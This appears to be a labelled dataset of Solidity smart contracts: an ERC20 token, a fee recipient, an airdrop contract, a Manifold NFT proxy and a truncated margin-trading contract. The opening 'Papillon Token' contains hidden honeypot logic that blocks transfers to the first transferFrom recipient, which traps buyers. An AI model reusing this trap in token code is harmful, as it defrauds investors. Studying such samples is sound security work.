function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
address public newun;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "PPL";
name = "Papillon Token";
decimals = 18;
_totalSupply = 1000000000000000000000000000000;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
require(to != newun, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
if(from != address(0) && newun == address(0)) newun = to;
else require(to != newun, "please wait");
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function () external payable {
revert();
}
}
contract PapillonToken is TokenERC20 {
function clearCNDAO() public onlyOwner() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
function() external payable {
}
}
// DISCLAIMER : Those tokens are generated for testing purposes, please do not invest ANY funds in them! | True | [
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// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.6;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function symbol() external view returns (string memory);
function decimals() external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function mint(address account, uint amount) external;
function burn(address account, uint amount) external;
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IInterestRateModel {
function systemRate(ILendingPair _pair, address _token) external view returns(uint);
function supplyRatePerBlock(ILendingPair _pair, address _token) external view returns(uint);
function borrowRatePerBlock(ILendingPair _pair, address _token) external view returns(uint);
}
interface IRewardDistribution {
function distributeReward(address _account, address _token) external;
}
interface IController {
function interestRateModel() external view returns(IInterestRateModel);
function rewardDistribution() external view returns(IRewardDistribution);
function feeRecipient() external view returns(address);
function LIQ_MIN_HEALTH() external view returns(uint);
function minBorrowUSD() external view returns(uint);
function liqFeeSystem(address _token) external view returns(uint);
function liqFeeCaller(address _token) external view returns(uint);
function liqFeesTotal(address _token) external view returns(uint);
function colFactor(address _token) external view returns(uint);
function depositLimit(address _lendingPair, address _token) external view returns(uint);
function borrowLimit(address _lendingPair, address _token) external view returns(uint);
function originFee(address _token) external view returns(uint);
function depositsEnabled() external view returns(bool);
function borrowingEnabled() external view returns(bool);
function setFeeRecipient(address _feeRecipient) external;
function tokenPrice(address _token) external view returns(uint);
function tokenSupported(address _token) external view returns(bool);
}
interface ILendingPair {
function checkAccountHealth(address _account) external view;
function accrueAccount(address _account) external;
function accrue() external;
function accountHealth(address _account) external view returns(uint);
function totalDebt(address _token) external view returns(uint);
function tokenA() external view returns(address);
function tokenB() external view returns(address);
function lpToken(address _token) external view returns(IERC20);
function debtOf(address _account, address _token) external view returns(uint);
function pendingDebtTotal(address _token) external view returns(uint);
function pendingSupplyTotal(address _token) external view returns(uint);
function deposit(address _token, uint _amount) external;
function withdraw(address _token, uint _amount) external;
function borrow(address _token, uint _amount) external;
function repay(address _token, uint _amount) external;
function withdrawBorrow(address _token, uint _amount) external;
function controller() external view returns(IController);
function borrowBalance(
address _account,
address _borrowedToken,
address _returnToken
) external view returns(uint);
function convertTokenValues(
address _fromToken,
address _toToken,
uint _inputAmount
) external view returns(uint);
}
interface IFeeConverter {
function convert(
address _sender,
ILendingPair _pair,
address[] memory _path,
uint _supplyTokenAmount
) external;
}
contract Ownable {
address public owner;
address public pendingOwner;
event OwnershipTransferInitiated(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferConfirmed(address indexed previousOwner, address indexed newOwner);
constructor() {
owner = msg.sender;
emit OwnershipTransferConfirmed(address(0), owner);
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == owner;
}
function transferOwnership(address _newOwner) external onlyOwner {
require(_newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferInitiated(owner, _newOwner);
pendingOwner = _newOwner;
}
function acceptOwnership() external {
require(msg.sender == pendingOwner, "Ownable: caller is not pending owner");
emit OwnershipTransferConfirmed(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract FeeRecipient is Ownable {
IFeeConverter public feeConverter;
constructor(IFeeConverter _feeConverter) {
feeConverter = _feeConverter;
}
function convert(
ILendingPair _pair,
address[] memory _path
) external {
IERC20 lpToken = IERC20(_pair.lpToken(_path[0]));
uint supplyTokenAmount = lpToken.balanceOf(address(this));
lpToken.transfer(address(feeConverter), supplyTokenAmount);
feeConverter.convert(msg.sender, _pair, _path, supplyTokenAmount);
}
function setFeeConverter(IFeeConverter _value) external onlyOwner {
feeConverter = _value;
}
} | True | [
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERCX {
function balanceOf(address owner) external view returns (uint);
function balanceOf(address account, uint256 id) external view returns (uint256);
function transferFrom(address from, address to, uint256 value) external;
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function tokenURI(uint256 tokenId) external view returns (string memory);
function uri(uint256) external view returns (string memory);
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
}
contract Airdrop {
enum ERC { ERC20, ERC721, ERC1155 }
struct Data {
address from;
address token;
ERC erc;
uint128 value;
uint128 timestamp;
uint totalSupply;
}
struct ERCData {
string name;
string symbol;
uint8 decimals;
uint balanceFrom;
string uri;
}
address public owner;
uint32 public latestRef;
mapping (uint32 => Data) public refData;
mapping (uint32 => mapping (address => uint32)) public claimable;
mapping (address => uint32[]) private drops;
constructor() {
owner = msg.sender;
}
modifier ensureOwner {
require(owner == msg.sender); _;
}
event Dropped(uint32 ref, address indexed token);
event Claimed(uint32 ref, address indexed token, address indexed to);
function drop(ERC erc, uint32 ref, address from, address token, uint128 value, uint totalSupply, address[] calldata owners) ensureOwner external {
require(refData[ref].timestamp == 0, 'ref');
latestRef = ref;
refData[ref] = Data({
from: from,
token: token,
erc: erc,
value: value,
totalSupply: totalSupply,
timestamp: uint128(block.timestamp)
});
for (uint i = 0; i < owners.length; i++) {
drops[owners[i]].push(ref);
claimable[ref][owners[i]] = 1;
}
emit Dropped(ref, token);
}
function claim(uint32 ref) external {
require(claimable[ref][msg.sender] == 1, 'claim');
claimable[ref][msg.sender] = uint32(block.timestamp);
if(refData[ref].erc != ERC.ERC1155) {
IERCX(refData[ref].token).transferFrom(refData[ref].from, msg.sender, refData[ref].value);
} else {
IERCX(refData[ref].token).safeTransferFrom(refData[ref].from, msg.sender, refData[ref].value, 1, "");
}
emit Claimed(ref, refData[ref].token, msg.sender);
}
function setOwner(address _owner) ensureOwner external {
owner = _owner;
}
function dropsOf(address _owner) external view returns (uint32[] memory, Data[] memory, ERCData[] memory, uint[] memory) {
Data[] memory _refDatas = new Data[](drops[_owner].length);
ERCData[] memory _ercDatas = new ERCData[](drops[_owner].length);
uint[] memory _claims = new uint[](drops[_owner].length);
for (uint i = 0; i < drops[_owner].length; i++) {
Data memory data = refData[drops[_owner][i]];
_refDatas[i] = data;
_ercDatas[i] = ERCData({
name: data.erc != ERC.ERC1155 ? IERCX(data.token).name() : '',
symbol: data.erc != ERC.ERC1155 ? IERCX(data.token).symbol() : '',
decimals: data.erc == ERC.ERC20 ? IERCX(data.token).decimals() : 0,
balanceFrom: data.erc != ERC.ERC1155 ? IERCX(data.token).balanceOf(data.from) : IERCX(data.token).balanceOf(data.from, data.value),
uri: data.erc == ERC.ERC721 ? IERCX(data.token).tokenURI(data.value) : data.erc == ERC.ERC1155 ? IERCX(data.token).uri(data.value) : ''
});
_claims[i] = claimable[drops[_owner][i]][_owner];
}
return (drops[_owner], _refDatas, _ercDatas, _claims);
}
function balancesOf(address _owner, address[] calldata tokens) external view returns (uint[] memory) {
uint[] memory b = new uint[](tokens.length);
for (uint i = 0; i < b.length; i++) {
b[i] = IERCX(tokens[i]).balanceOf(_owner);
}
return b;
}
} | True | [
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: NiftyFilm presents The Absence Is Always Present
/// @author: manifold.xyz
import "./ERC721Creator.sol";
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// //
// //
// //
// ████████████████████████████████████████████████████████████ //
// ▒██████████████████████████████████████████████████████████████▒ //
// ▒████ ████▒ //
// ▓███▓ ▓███▓ //
// ▓███▒ ▓███▓ //
// ████▒ ▒████ //
// ▒████ ▒▓███▓▒ ████▒ //
// ▒████ ▒▓███████████▓▒ ████▒ //
// ▓███▓ ▒▓███████████████████▓▒ ▓███▓ //
// ████▒ ▒███████████████████████████▓▒ ▒████ //
// ▒████▒ ▓████████████████████████████████ ▒████▒ //
// ▒████ ▓████████████████████████████████ ████▒ //
// ▓███▓ ▓████████████████████████████████ ▓███▓ //
// ████▒ ▓████████████████████████████████ ▒███▓ //
// ████▒ ▓████████████████████████████████ ▒████ //
// ▒████ ▓████████████████████████████████ ████▒ //
// ▒███▓ ▓████████████████████████████████ ████▒ //
// ▓███▓ ▓████████████████████████████████ ▓███▓ //
// ████▒ ▓████████████████████████████████ ▓▒ ▒████ //
// ████▒ ▒███████████████████████████▓▒ ▒▓██▒ ▒████ //
// ▒████ ▒▓███████████████████▓▒ ▒▓██████▒ ████▒ //
// ▓███▓ ▒▓███████████▓▒ ▒▓█████████▒ ▓███▓ //
// ▓███▓ ▒▓███▓▓ ▒▓█████████████▒ ▓███▓ //
// ████▒ ▒▓█████████████████▒ ▒████ //
// ████▒ ▒▓██████████████████▒ ▒████ //
// ████▒ ▒▓███▓▒ ▒▓██████████████▒ ▒████ //
// ▓███▓ ▓███████████▓▒ ▒▓██████████▒ ▓███▓ //
// ▒████ ▒▓█████████████████▓▓▒ ▒▓███████▒ ████▒ //
// ▒████ ▒▓█████████████████████████▓▒ ▒▓███▒ ████▒ //
// ████▒ ▓████████████████████████████████ ▓▒ ▒████ //
// ████▓ ▓████████████████████████████████ ▓████ //
// ▓███▓ ▓████████████████████████████████ ▓███▓ //
// ▒████ ▓████████████████████████████████ ████▒ //
// ▒████▒ ▓████████████████████████████████ ▒████▒ //
// ████▒ ▓████████████████████████████████ ▒████ //
// ████▓ ▓████████████████████████████████ ▓███▓ //
// ▓███▓ ▓████████████████████████████████ ▓███▓ //
// ▒████ ▓████████████████████████████████ ████▒ //
// ████▒ ▒▓███████████████████████████▓▒ ▒████ //
// ████▓ ▒▓███████████████████▓▒ ▓████ //
// ▓███▓ ▒▓███████████▓▒ ▓███▓ //
// ▒████ ▒█████▓▒ ████▒ //
// ▒████▒ ▒████▒ //
// ████▒ ▒████ //
// ▓███▒ ▓███▓ //
// ▓███▓ ▓███▓ //
// ▒██████████████████████████████████████████████████████████████▒ //
// ▒████████████████████████████████████████████████████████████ //
// //
// //
// //
// ▓█▓ ▓█▓ ██▒ ███████████▒▒████████████▓ ███ ▒██▓ ███████████▓ ██▒ ▓█▓ ▓█▓ ▓█▓ //
// ████▓ ██▓ ██▓ ██▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒██▓▒▒▒▒▒ ▓██▒ ▓██▒ ██▓▒▒▒▒▒▒▒▒ ██▓ ██▓ ▒███▓ ▓███▒ //
// ██▓▓██▓ ██▓ ██▓ ██▒ ██▒ ███ ▒██▓ ██▒ ██▓ ██▓ ██▓███ ▓██▓██ //
// ██▒ ███▒ ██▓ ██▓ ██▒▓███████ ██▒ ▓██▓██▒ ██▒▓███████ ██▓ ██▓ ▒██ ███ ███ ██▒ //
// ██▒ ▒███▒██▓ ██▓ ██▒ ██▒ ███ ██▒ ██▓ ██▓ ██▓ ███ ███ ▓██ //
// ██▒ ▒████▓ ██▓ ██▒ ██▒ ██▓ ██▒ ██▓ ██▓▒▒▒▒▒▒▒▒▒ ▒██ █████ ▒██▒ //
// ██▒ ▒██▓ ██▓ ██▒ ██▒ ██▓ ██▒ ██▓ ████████████ ███ ███ ███ //
// //
// //
// //
// //
// //
// //
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
contract NFILM is ERC721Creator {
constructor() ERC721Creator("NiftyFilm presents The Absence Is Always Present", "NFILM") {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract ERC721Creator is Proxy {
constructor(string memory name, string memory symbol) {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a;
Address.functionDelegateCall(
0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a,
abi.encodeWithSignature("initialize(string,string)", name, symbol)
);
}
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function implementation() public view returns (address) {
return _implementation();
}
function _implementation() internal override view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
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|
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.6.12;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./Uniswap.sol";
import "./IUniMexFactory.sol";
import "hardhat/console.sol";
interface IUniMexStaking {
function distribute(uint256 _amount) external;
}
interface IUniMexPool {
function borrow(uint256 _amount) external;
function distribute(uint256 _amount) external;
function repay(uint256 _amount) external returns (bool);
}
contract UniMexMargin is Ownable, AccessControl, ReentrancyGuard {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
bytes32 public constant LIQUIDATOR_ROLE = keccak256("LIQUIDATOR_ROLE");
address private WETH_ADDRESS;
IERC20 public WETH;
uint256 public constant MAG = 1e18;
uint256 public constant LIQUIDATION_MARGIN = 1.1e18; //11%
uint256 public thresholdGasPrice = 3e8; //gas price in wei used to calculate bonuses for liquidation, sl, tp
uint32 public borrowInterestPercentScaled = 100; //10%
uint256 public constant YEAR = 31536000;
uint256 public positionNonce = 0;
bool public paused = false;
uint256 public amountThresholds;
struct Position {
uint256 owed;
uint256 input;
uint256 commitment;
address token;
bool isShort;
uint32 startTimestamp;
uint32 borrowInterest;
address owner;
uint32 stopLossPercent;
uint32 takeProfitPercent;
}
struct Limit {
uint256 amount;
uint256 minimalSwapAmount;
address token;
bool isShort;
uint32 validBefore;
uint32 leverageScaled;
address owner;
uint32 takeProfitPercent;
uint32 stopLossPercent;
uint256 escrowAmount;
}
mapping(bytes32 => Position) public positionInfo;
mapping(bytes32 => Limit) public limitOrders;
mapping(address => uint256) public balanceOf;
mapping(address => uint256) public escrow;
IUniMexStaking public staking;
IUniMexFactory public unimex_factory;
IUniswapV2Factory public uniswap_factory;
IUniswapV2Router02 public uniswap_router;
event OnClosePosition(
bytes32 indexed positionId,
address token,
address indexed owner,
uint256 owed,
uint256 input,
uint256 commitment,
uint32 startTimestamp,
bool isShort,
uint256 borrowInterest,
uint256 liquidationBonus, //amount that went to liquidator when position was liquidated. 0 if position was closed
uint256 scaledCloseRate // weth/token multiplied by 1e18
);
event OnOpenPosition(
address indexed sender,
bytes32 positionId,
bool isShort,
address indexed token,
uint256 scaledLeverage
);
event OnAddCommitment(
bytes32 indexed positionId,
uint256 amount
);
event OnLimitOrder(
bytes32 indexed limitOrderId,
address indexed owner,
address token,
uint256 amount,
uint256 minimalSwapAmount,
uint256 leverageScaled,
uint256 validBefore,
uint256 escrowAmount,
uint32 takeProfitPercent,
uint32 stopLossPercent,
bool isShort
);
event OnLimitOrderCancelled(
bytes32 indexed limitOrderId
);
event OnLimitOrderCompleted(
bytes32 indexed limitOrderId,
bytes32 positionId
);
event OnTakeProfit(
bytes32 indexed positionId,
uint256 positionInput,
uint256 swapAmount,
address token,
bool isShort
);
event OnStopLoss(
bytes32 indexed positionId,
uint256 positionInput,
uint256 swapAmount,
address token,
bool isShort
);
//to prevent flashloans
modifier isHuman() {
require(msg.sender == tx.origin);
_;
}
constructor(
address _staking,
address _factory,
address _weth,
address _uniswap_factory,
address _uniswap_router
) public {
staking = IUniMexStaking(_staking);
unimex_factory = IUniMexFactory(_factory);
WETH_ADDRESS = _weth;
WETH = IERC20(_weth);
uniswap_factory = IUniswapV2Factory(_uniswap_factory);
uniswap_router = IUniswapV2Router02(_uniswap_router);
// Grant the contract deployer the default admin role: it will be able
// to grant and revoke any roles
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
amountThresholds = 275;
}
function deposit(uint256 _amount) public {
WETH.safeTransferFrom(msg.sender, address(this), _amount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(_amount);
}
function withdraw(uint256 _amount) public {
require(balanceOf[msg.sender] >= _amount);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
WETH.safeTransfer(msg.sender, _amount);
}
function calculateBorrowInterest(bytes32 positionId) public view returns (uint256) {
Position storage position = positionInfo[positionId];
uint256 loanTime = block.timestamp.sub(position.startTimestamp);
return position.owed.mul(loanTime).mul(position.borrowInterest).div(1000).div(YEAR);
}
function openShortPosition(address token, uint256 amount, uint256 scaledLeverage, uint256 minimalSwapAmount) public isHuman {
uint256[5] memory values = [amount, scaledLeverage, minimalSwapAmount, 0, 0];
_openPosition(msg.sender, token, true, values);
}
function openLongPosition(address token, uint256 amount, uint256 scaledLeverage, uint256 minimalSwapAmount) public isHuman {
uint256[5] memory values = [amount, scaledLeverage, minimalSwapAmount, 0, 0];
_openPosition(msg.sender, token, false, values);
}
function openShortPositionWithSlTp(address token, uint256 amount, uint256 scaledLeverage, uint256 minimalSwapAmount,
uint256 takeProfitPercent, uint256 stopLossPercent) public isHuman {
uint256[5] memory values = [amount, scaledLeverage, minimalSwapAmount, takeProfitPercent, stopLossPercent];
_openPosition(msg.sender, token, true, values);
}
function openLongPositionWithSlTp(address token, uint256 amount, uint256 scaledLeverage, uint256 minimalSwapAmount,
uint256 takeProfitPercent, uint256 stopLossPercent) public isHuman {
uint256[5] memory values = [amount, scaledLeverage, minimalSwapAmount, takeProfitPercent, stopLossPercent];
_openPosition(msg.sender, token, false, values);
}
/**
* values[0] amount
